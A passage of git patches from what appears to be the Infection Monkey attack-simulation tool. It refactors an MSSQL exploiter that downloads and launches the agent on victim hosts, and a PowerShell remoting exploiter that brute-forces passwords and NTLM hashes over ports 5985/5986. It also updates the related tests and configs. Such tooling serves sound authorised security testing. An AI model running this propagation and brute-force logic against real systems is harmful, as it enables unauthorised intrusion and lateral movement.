upload_monkey(self): - monkey_download_command = self.write_download_command_to_payload() + def upload_monkey(self, monkey_path_on_victim: Path): + monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -155,10 +158,9 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self) -> LockedHTTPServer: - dst_path = get_agent_dest_path(self.host, self.options) + def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, dst_path, self.agent_repository + self.host, str(monkey_path_on_victim), self.agent_repository ) return http_thread @@ -167,27 +169,27 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self): - monkey_download_command = self.get_monkey_download_command() + def write_download_command_to_payload(self, monkey_path_on_victim: Path): + monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self): - dst_path = get_agent_dest_path(self.host, self.options) + def get_monkey_launch_command(self, monkey_path_on_victim: Path): # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) + monkey_args = build_monkey_commandline( + self.host, self.current_depth - 1, monkey_path_on_victim + ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( - command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + command="{} {} {}".format(monkey_path_on_victim, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix, ) - def get_monkey_download_command(self): - dst_path = get_agent_dest_path(self.host, self.options) + def get_monkey_download_command(self, monkey_path_on_victim: Path): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.agent_http_path, dst_path=dst_path + http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( From 6d9e18fdc943a39799dbaa7d24fa7c32dad6a99f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Mar 2022 14:26:15 +0530 Subject: [PATCH 0841/1110] Island: Add 5985 and 5986 to TCP ports --- monkey/monkey_island/cc/services/config_schema/internal.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index da628fcce..e825a9098 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -91,6 +91,8 @@ INTERNAL = { 3306, 7001, 8088, + 5985, + 5986, ], "description": "List of TCP ports the monkey will check whether " "they're open", From 4614e2207ddbb99fe4fea9a6562152907b6a0220 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Mar 2022 15:59:53 +0530 Subject: [PATCH 0842/1110] Agent: Decide if SSL is to be used in auth_options.py --- monkey/infection_monkey/exploit/powershell.py | 17 +++++++++-------- .../exploit/powershell_utils/auth_options.py | 18 ++++++++++++++---- 2 files changed, 23 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8bdf7e571..1a76f4044 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -49,13 +49,11 @@ class PowerShellExploiter(HostExploiter): self._client = None def _exploit_host(self): - try: - use_ssl = self._is_client_using_https() - except PowerShellRemotingDisabledError as e: - logger.info(e) - self.exploit_result.error_message = ( - "PowerShell Remoting appears to be disabled on the remote host" - ) + if not self._is_any_default_port_open(): + message = "No default PowerShell remoting ports are open." + self.exploit_result.error_message = message + logger.debug(message) + return self.exploit_result credentials = get_credentials( @@ -66,7 +64,7 @@ class PowerShellExploiter(HostExploiter): is_windows_os(), ) - auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] + auth_options = [get_auth_options(creds, self.host) for creds in credentials] self._client = self._authenticate_via_brute_force(credentials, auth_options) @@ -89,6 +87,9 @@ class PowerShellExploiter(HostExploiter): return self.exploit_result + def _is_any_default_port_open(self) -> bool: + return "tcp-5985" in self.host.services or "tcp-5986" in self.host.services + def _is_client_using_https(self) -> bool: try: logger.debug("Checking if powershell remoting is enabled over HTTP.") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 1f53c1df5..cde316c90 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,6 +1,7 @@ from dataclasses import dataclass from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType +from infection_monkey.model.host import VictimHost AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" @@ -16,17 +17,26 @@ class AuthOptions: ssl: bool -def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions: - ssl = _get_ssl(credentials, use_ssl) +def get_auth_options(credentials: Credentials, host: VictimHost) -> AuthOptions: + ssl = _get_ssl(credentials, host) auth_type = _get_auth_type(credentials) encryption = _get_encryption(credentials) return AuthOptions(auth_type, encryption, ssl) -def _get_ssl(credentials: Credentials, use_ssl): +def _get_ssl(credentials: Credentials, host: VictimHost) -> bool: + # Check if default PSRemoting ports are open. Prefer with SSL, if both are. + if "tcp-5986" in host.services: # Default for HTTPS + use_ssl = True + elif "tcp-5985" in host.services: # Default for HTTP + use_ssl = False + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - return False if credentials.secret == "" else use_ssl + if credentials.secret == "": + use_ssl = False + + return use_ssl def _get_auth_type(credentials: Credentials): From e947f335fff41b28bf9734c5de6c0aaad2247531 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Mar 2022 16:03:10 +0530 Subject: [PATCH 0843/1110] Agent: Remove unused functions in PowerShell exploiter --- monkey/infection_monkey/exploit/powershell.py | 53 +------------------ 1 file changed, 1 insertion(+), 52 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 1a76f4044..588a7566d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -3,19 +3,13 @@ from pathlib import Path from typing import List, Optional from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.powershell_utils.auth_options import ( - AUTH_NEGOTIATE, - ENCRYPTION_AUTO, - AuthOptions, - get_auth_options, -) +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.credentials import ( Credentials, SecretType, get_credentials, ) from infection_monkey.exploit.powershell_utils.powershell_client import ( - AuthenticationError, IPowerShellClient, PowerShellClient, ) @@ -90,51 +84,6 @@ class PowerShellExploiter(HostExploiter): def _is_any_default_port_open(self) -> bool: return "tcp-5985" in self.host.services or "tcp-5986" in self.host.services - def _is_client_using_https(self) -> bool: - try: - logger.debug("Checking if powershell remoting is enabled over HTTP.") - self._try_http() - return False - except AuthenticationError: - return False - except Exception as e: - logger.debug(f"Powershell remoting over HTTP seems disabled: {e}") - - try: - logger.debug("Checking if powershell remoting is enabled over HTTPS.") - self._try_https() - return True - except AuthenticationError: - return True - except Exception as e: - logger.debug(f"Powershell remoting over HTTPS seems disabled: {e}") - raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") - - def _try_http(self): - self._try_ssl_login(use_ssl=False) - - def _try_https(self): - self._try_ssl_login(use_ssl=True) - - def _try_ssl_login(self, use_ssl: bool): - # '.\' is machine qualifier if the user is in the local domain - # which happens if we try to exploit a machine on second hop - credentials = Credentials( - username=".\\dummy_username", - secret="dummy_password", - secret_type=SecretType.PASSWORD, - ) - - auth_options = AuthOptions( - auth_type=AUTH_NEGOTIATE, - encryption=ENCRYPTION_AUTO, - ssl=use_ssl, - ) - - # TODO: Report login attempt or find a better way of detecting if SSL is enabled - client = PowerShellClient(self.host.ip_addr, credentials, auth_options) - client.connect() - def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: From 4b84ba3fc06ca052dc5955f791d95a94a1025d8d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 12:40:10 -0400 Subject: [PATCH 0844/1110] Tests: Fix unit tests for powershell_utils.auth_options --- .../powershell_utils/test_auth_options.py | 107 ++++++++++++------ 1 file changed, 75 insertions(+), 32 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index ce5449051..4efa129b4 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -1,3 +1,7 @@ +from unittest.mock import MagicMock + +import pytest + # from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_BASIC, @@ -16,85 +20,124 @@ CREDENTIALS_LM_HASH = Credentials("user4", "LM_HASH:NONE", SecretType.LM_HASH) CREDENTIALS_NT_HASH = Credentials("user5", "NONE:NT_HASH", SecretType.NT_HASH) -def test_get_auth_options__ssl_true_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=True) +def _create_host(http_enabled, https_enabled): + host = MagicMock() + host.services = {} + + if http_enabled: + host.services["tcp-5985"] = {} + + if https_enabled: + host.services["tcp-5986"] = {} + + return host + + +@pytest.fixture +def https_only_host(): + return _create_host(False, True) + + +@pytest.fixture +def http_only_host(): + return _create_host(True, False) + + +@pytest.fixture +def http_and_https_both_enabled_host(): + return _create_host(True, True) + + +@pytest.fixture +def powershell_disabled_host(): + return _create_host(False, False) + + +def test_get_auth_options__ssl_true_with_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, https_only_host) assert auth_options.ssl -def test_get_auth_options__ssl_true_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=True) - - assert not auth_options.ssl - - -def test_get_auth_options__ssl_true_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=True) +def test_get_auth_options__ssl_preferred(http_and_https_both_enabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_and_https_both_enabled_host) assert auth_options.ssl -def test_get_auth_options__ssl_false_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_true_empty_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, https_only_host) assert not auth_options.ssl -def test_get_auth_options__ssl_false_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_true_none_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, https_only_host) + + assert auth_options.ssl + + +def test_get_auth_options__ssl_false_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert not auth_options.ssl -def test_get_auth_options__ssl_false_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_false_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert not auth_options.ssl -def test_get_auth_options__auth_type_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_false_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__auth_type_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_NEGOTIATE -def test_get_auth_options__auth_type_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__auth_type_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_BASIC -def test_get_auth_options__auth_type_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__auth_type_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_NEGOTIATE -def test_get_auth_options__auth_type_with_LM_hash(): - auth_options = get_auth_options(CREDENTIALS_LM_HASH, use_ssl=False) +def test_get_auth_options__auth_type_with_LM_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_LM_HASH, http_only_host) assert auth_options.auth_type == AUTH_NTLM -def test_get_auth_options__auth_type_with_NT_hash(): - auth_options = get_auth_options(CREDENTIALS_NT_HASH, use_ssl=False) +def test_get_auth_options__auth_type_with_NT_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NT_HASH, http_only_host) assert auth_options.auth_type == AUTH_NTLM -def test_get_auth_options__encryption_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_AUTO -def test_get_auth_options__encryption_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_NEVER -def test_get_auth_options__encryption_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_AUTO From 3d7586f7139967cf649ca70533003e051c23a9b5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 12:45:05 -0400 Subject: [PATCH 0845/1110] Agent: Fix edge case handling in auth_options._get_ssl() If the host has neither the HTTP or HTTPS port enabled, return False. --- .../exploit/powershell_utils/auth_options.py | 17 +++++++++-------- .../powershell_utils/test_auth_options.py | 5 +++++ 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index cde316c90..0ae8cb266 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -26,17 +26,18 @@ def get_auth_options(credentials: Credentials, host: VictimHost) -> AuthOptions: def _get_ssl(credentials: Credentials, host: VictimHost) -> bool: - # Check if default PSRemoting ports are open. Prefer with SSL, if both are. - if "tcp-5986" in host.services: # Default for HTTPS - use_ssl = True - elif "tcp-5985" in host.services: # Default for HTTP - use_ssl = False - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER if credentials.secret == "": - use_ssl = False + return False - return use_ssl + # Check if default PSRemoting ports are open. Prefer with SSL, if both are. + if "tcp-5986" in host.services: # Default for HTTPS + return True + + if "tcp-5985" in host.services: # Default for HTTP + return False + + return False def _get_auth_type(credentials: Credentials): diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 4efa129b4..7d550c59e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -53,6 +53,11 @@ def powershell_disabled_host(): return _create_host(False, False) +def test_get_auth_options__ssl_false_with_no_open_ports(powershell_disabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, powershell_disabled_host) + assert auth_options.ssl is False + + def test_get_auth_options__ssl_true_with_password(https_only_host): auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, https_only_host) From 385449101d2c4bd41829868882c9479ad2ac014d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 12:50:24 -0400 Subject: [PATCH 0846/1110] Tests: Move host fixtures to conftest.py --- .../infection_monkey/exploit/conftest.py | 33 +++++++++++++++++ .../powershell_utils/test_auth_options.py | 37 ------------------- 2 files changed, 33 insertions(+), 37 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py index c0d84708b..142a3065a 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py @@ -19,3 +19,36 @@ def patch_win32api_get_user_name(local_user): win32api.NameSamCompatible = None sys.modules["win32api"] = win32api + + +def _create_host(http_enabled, https_enabled): + host = MagicMock() + host.services = {} + + if http_enabled: + host.services["tcp-5985"] = {} + + if https_enabled: + host.services["tcp-5986"] = {} + + return host + + +@pytest.fixture +def https_only_host(): + return _create_host(False, True) + + +@pytest.fixture +def http_only_host(): + return _create_host(True, False) + + +@pytest.fixture +def http_and_https_both_enabled_host(): + return _create_host(True, True) + + +@pytest.fixture +def powershell_disabled_host(): + return _create_host(False, False) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 7d550c59e..fe18ccf9e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -1,7 +1,3 @@ -from unittest.mock import MagicMock - -import pytest - # from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_BASIC, @@ -20,39 +16,6 @@ CREDENTIALS_LM_HASH = Credentials("user4", "LM_HASH:NONE", SecretType.LM_HASH) CREDENTIALS_NT_HASH = Credentials("user5", "NONE:NT_HASH", SecretType.NT_HASH) -def _create_host(http_enabled, https_enabled): - host = MagicMock() - host.services = {} - - if http_enabled: - host.services["tcp-5985"] = {} - - if https_enabled: - host.services["tcp-5986"] = {} - - return host - - -@pytest.fixture -def https_only_host(): - return _create_host(False, True) - - -@pytest.fixture -def http_only_host(): - return _create_host(True, False) - - -@pytest.fixture -def http_and_https_both_enabled_host(): - return _create_host(True, True) - - -@pytest.fixture -def powershell_disabled_host(): - return _create_host(False, False) - - def test_get_auth_options__ssl_false_with_no_open_ports(powershell_disabled_host): auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, powershell_disabled_host) assert auth_options.ssl is False From c28e200a25e51fd352eb10b99b40dfbc27650e31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 12:51:55 -0400 Subject: [PATCH 0847/1110] Agent: Remove disused PowerShellRemotingDisabledError --- monkey/infection_monkey/exploit/powershell.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 588a7566d..052b1f88f 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -22,10 +22,6 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) -class PowerShellRemotingDisabledError(Exception): - pass - - class RemoteAgentCopyError(Exception): pass From 06899be264e89d0877eddafb956c0736653ce371 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 13:25:22 -0400 Subject: [PATCH 0848/1110] Tests: Fix tests for PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../infection_monkey/exploit/conftest.py | 11 +-- .../exploit/test_powershell.py | 72 +++++-------------- 3 files changed, 26 insertions(+), 59 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 052b1f88f..3d5a41131 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -40,7 +40,7 @@ class PowerShellExploiter(HostExploiter): def _exploit_host(self): if not self._is_any_default_port_open(): - message = "No default PowerShell remoting ports are open." + message = "PowerShell Remoting appears to be disabled on the remote host" self.exploit_result.error_message = message logger.debug(message) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py index 142a3065a..7d4265395 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py @@ -21,8 +21,9 @@ def patch_win32api_get_user_name(local_user): sys.modules["win32api"] = win32api -def _create_host(http_enabled, https_enabled): +def _create_windows_host(http_enabled, https_enabled): host = MagicMock() + host.os = {"type": "windows"} host.services = {} if http_enabled: @@ -36,19 +37,19 @@ def _create_host(http_enabled, https_enabled): @pytest.fixture def https_only_host(): - return _create_host(False, True) + return _create_windows_host(False, True) @pytest.fixture def http_only_host(): - return _create_host(True, False) + return _create_windows_host(True, False) @pytest.fixture def http_and_https_both_enabled_host(): - return _create_host(True, True) + return _create_windows_host(True, True) @pytest.fixture def powershell_disabled_host(): - return _create_host(False, False) + return _create_windows_host(False, False) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index c88ce99d7..698c7ac2d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -5,8 +5,6 @@ from unittest.mock import MagicMock import pytest from infection_monkey.exploit import powershell -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost # Use the path_win32api_get_user_name fixture for all tests in this module @@ -19,19 +17,12 @@ NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] DROPPER_TARGET_PATH_64 = "C:\\agent64" -class AuthenticationErrorForTests(Exception): - pass - - mock_agent_repository = MagicMock() mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE") -victim_host = VictimHost("127.0.0.1") -victim_host.os["type"] = "windows" - @pytest.fixture -def powershell_arguments(): +def powershell_arguments(http_and_https_both_enabled_host): options = { "dropper_target_path_win_64": DROPPER_TARGET_PATH_64, "credentials": { @@ -42,7 +33,7 @@ def powershell_arguments(): }, } arguments = { - "host": victim_host, + "host": http_and_https_both_enabled_host, "options": options, "current_depth": 2, "telemetry_messenger": MagicMock(), @@ -56,18 +47,13 @@ def powershell_arguments(): def powershell_exploiter(monkeypatch): pe = powershell.PowerShellExploiter() - monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) return pe -def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_arguments): - mock_powershell_client = MagicMock() - mock_powershell_client.connect = MagicMock(side_effect=Exception) - monkeypatch.setattr( - powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) - ) +def test_powershell_disabled(powershell_exploiter, powershell_arguments, powershell_disabled_host): + powershell_arguments["host"] = powershell_disabled_host exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success @@ -75,15 +61,10 @@ def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_argum assert "disabled" in exploit_result.error_message -def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments): - def allow_http(_, credentials: Credentials, auth_options: AuthOptions): - if not auth_options.ssl: - raise AuthenticationErrorForTests - else: - raise Exception +def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host): + powershell_arguments["host"] = http_only_host mock_powershell_client = MagicMock() - mock_powershell_client.connect = MagicMock(side_effect=allow_http) monkeypatch.setattr( powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) ) @@ -94,29 +75,26 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments assert not call_args[0][2].ssl -def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments): - def allow_https(_, credentials: Credentials, auth_options: AuthOptions): - if auth_options.ssl: - raise AuthenticationErrorForTests - else: - raise Exception +def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host): + powershell_arguments["host"] = https_only_host mock_powershell_client = MagicMock() - mock_powershell_client.connect = MagicMock(side_effect=allow_https) - monkeypatch.setattr( - powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) - ) + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) + mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client_constructor) powershell_exploiter.exploit_host(**powershell_arguments) - for call_args in mock_powershell_client.call_args_list: - if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password": + for call_args in mock_powershell_client_constructor.call_args_list: + if call_args[0][1].secret != "": assert call_args[0][2].ssl + else: + assert not call_args[0][2].ssl def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments): mock_powershell_client = MagicMock() - mock_powershell_client.connect = MagicMock(side_effect=AuthenticationErrorForTests) + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) monkeypatch.setattr( powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) ) @@ -127,16 +105,6 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_argu assert "Unable to authenticate" in exploit_result.error_message -def authenticate(mock_client): - def inner(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == "user1" and credentials.secret == "pass2": - return mock_client - else: - raise AuthenticationErrorForTests("Invalid credentials") - - return inner - - def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() @@ -188,11 +156,9 @@ def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_ar def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): - # 1st call is for determining HTTP/HTTPs. 6 remaining calls are actual login attempts. the 6th - # login attempt doesn't throw an exception, signifying that login with credentials was - # successful. - connection_attempts = [True, Exception, Exception, Exception, Exception, Exception, True] - mock_powershell_client = MagicMock(side_effect=connection_attempts) + # First 5 login attempts fail. The 6th is successful. + connection_attempts = [Exception, Exception, Exception, Exception, Exception, True] + mock_powershell_client = MagicMock() mock_powershell_client.connect = MagicMock(side_effect=connection_attempts) monkeypatch.setattr( powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) From 88422f97641fa399fc6e67b59adcf267f4264040 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 15:32:16 -0400 Subject: [PATCH 0849/1110] BB: Fix API call to kill all monkeys --- .../blackbox/island_client/monkey_island_client.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 5c5b57e09..d203d8f9c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,6 +1,6 @@ import json import logging -from time import sleep +import time from typing import Union from bson import json_util @@ -15,7 +15,7 @@ LOGGER = logging.getLogger(__name__) def avoid_race_condition(func): - sleep(SLEEP_BETWEEN_REQUESTS_SECONDS) + time.sleep(SLEEP_BETWEEN_REQUESTS_SECONDS) return func @@ -48,10 +48,15 @@ class MonkeyIslandClient(object): @avoid_race_condition def kill_all_monkeys(self): - if self.requests.get("api", {"action": "killall"}).ok: + response = self.requests.post_json( + "api/monkey_control/stop-all-agents", data={"kill_time": time.time()} + ) + if response.ok: LOGGER.info("Killing all monkeys after the test.") else: LOGGER.error("Failed to kill all monkeys.") + LOGGER.error(response.status_code) + LOGGER.error(response.content) assert False @avoid_race_condition From ef9c3f4f32d298bb12b2eeaaed111711ecdff998 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 15:35:07 -0400 Subject: [PATCH 0850/1110] BB: Add ports 5985 and 5986 to PowerShell tests --- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- .../blackbox/config_templates/powershell_credentials_reuse.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 95137d431..33014de87 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -23,7 +23,7 @@ class PowerShell(ConfigTemplate): "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986], "internal.exploits.exploit_ntlm_hash_list": [ "d0f0132b308a0c4e5d1029cc06f48692", ], diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py 